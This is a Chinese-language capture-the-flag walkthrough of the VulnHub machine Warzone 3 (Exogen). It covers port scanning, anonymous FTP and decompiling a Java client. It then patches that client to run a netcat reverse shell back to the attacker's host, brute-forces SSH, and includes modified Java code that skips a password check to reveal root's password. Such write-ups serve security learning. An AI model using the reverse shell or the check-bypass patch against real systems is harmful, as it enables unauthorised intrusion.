靶机地址:https://www.vulnhub.com/entry/warzone-3-exogen,606/Warzone: 3 (Exogen) ~ VulnHub
直接用vm虚拟机导入即可
0x0:信息收集
用nmap确定靶机ip
前面那个域名是很重要的一部分。需要在hosts去指定
不去指定的话会影响后面的操作
nmap扫描端口
FTP尝试匿名登录(anonymous)
把pub目录里面的两个文件下载到本地
在note.txt中会获取到一个用户。alienum@exogenesis
提示username用sha256加密
0x1:alienclient.jar文件分析
jar文件(一个登录页面)
输入后会报错,用反编译的JD-GUI查看一下源代码
可以判断
username:alienum
password:exogenesis
登录后会进入到程序里面
但没有权限去,继续分析java文件
researcher和astronaut权限
用重新编译的方式去提升权限
可以用直接导出文件,或者自己一个文件一个文件去复制(idea去创建一个新的项目,创建一个alien包,把文件复制进去)
然后去提升权限和反弹shell(我是直接把系统命令在文件里面了)
修改starter文件,直接赋予权限
在去找到执行系统权限的地方
在重新反编译的过程中可能这段代码会出现报错(按我下面修改即可)
idea下在重新封装成jar文件
会先生成一个META-INF的文件,
成功的情况就会正常输出来
jar文件生成的目录路径
需要对java的版本进行同步(我用的11)
还有一种办法是直接修改start文件(修改,Token参数加密字符是SHA256加密用户后的字符串)
list.setCmd("nc /bin/bash 192.168.37.15 8081 "); // 去修改反弹shell就完成了 直接执行既可以不需要反编译
把生成的jar文件复制到kali中去执行
在密码哪里会出现报错,不影响接下来的使用
在随便点击一个文件,就可以触发反弹shell的命令
用python获取交互式shell
可以看见有alienserver.jar的文件,report1-4是的文件
.sh文件的内容
在/home/exomorph目录
用python把文件下载出来
0x2:wrz3encryptor.jar分析
在去分析一下jar文件
很明显的AES加密
需要解密修改文件 改成解密模式
MAIN.java
需要是绝对路径。不然会报错,
查看内容 strings查看
在使用爆破工具,去爆破ssh
利用获取到账号和密码ssh登录
0x4:提权
三个文件把图片的内容下载到kali中查看
在info文件中提示–batch
gpg –batch –output secpasskeeper.jar –passphrase nak1nak1.. –decrypt secpasskeeper.jar.pgp
解压出来,idea创建新项目复制代码
cryptor.java和Resources.java内容不动
修改后的main代码
package alien;
import java.io.UnsupportedEncodingException;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import java.util.Scanner;
import javax.crypto.BadPaddingException;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
public class Main {
public static void main(String[] args) throws InvalidKeyException, NoSuchPaddingException, NoSuchAlgorithmException, BadPaddingException, IllegalBlockSizeException, UnsupportedEncodingException {
try {
Scanner in = new Scanner(System.in);
System.out.println("[Warzone 3] Root's Password Manager");a
System.out.print("Secret passphrase : ");
String secret = in.nextLine();
Cryptor cryptor = new Cryptor();
Resources res = new Resources();
String user = cryptor.decrypt(secret, removeSalt(res.getCipher()));
String sys = cryptor.decrypt(cryptor.decrypt(res.gotSecret(), removeSalt(res.getSecret())), removeSalt(res.getCipher()));
if (true/*user.equals(sys)*/) {
String plaintext = cryptor.decrypt(cryptor.decrypt(res.gotSecret(), removeSalt(res.getSecret())), removeSalt(res.getCipher()));
System.out.println("[+] Success, the password is : " + plaintext);
} else {
System.out.println("[x] Failed");
}
} catch (NullPointerException n) {
System.out.println("[!] Terminated");
System.exit(0);
}
}
public static String removeSalt(String salted) {
String unsalted = salted.replace("al13n", "");
return unsalted;
}
}
随便字符就返回root的密码
成功获取到root权限
0x5:UTFO文件
UTFO的文件
/root/boss.txt
/home/anunnaki/underboss.txt
来源:freebuf.com 2021-02-08 17:25:54 by: 德米lasi
请登录后发表评论
注册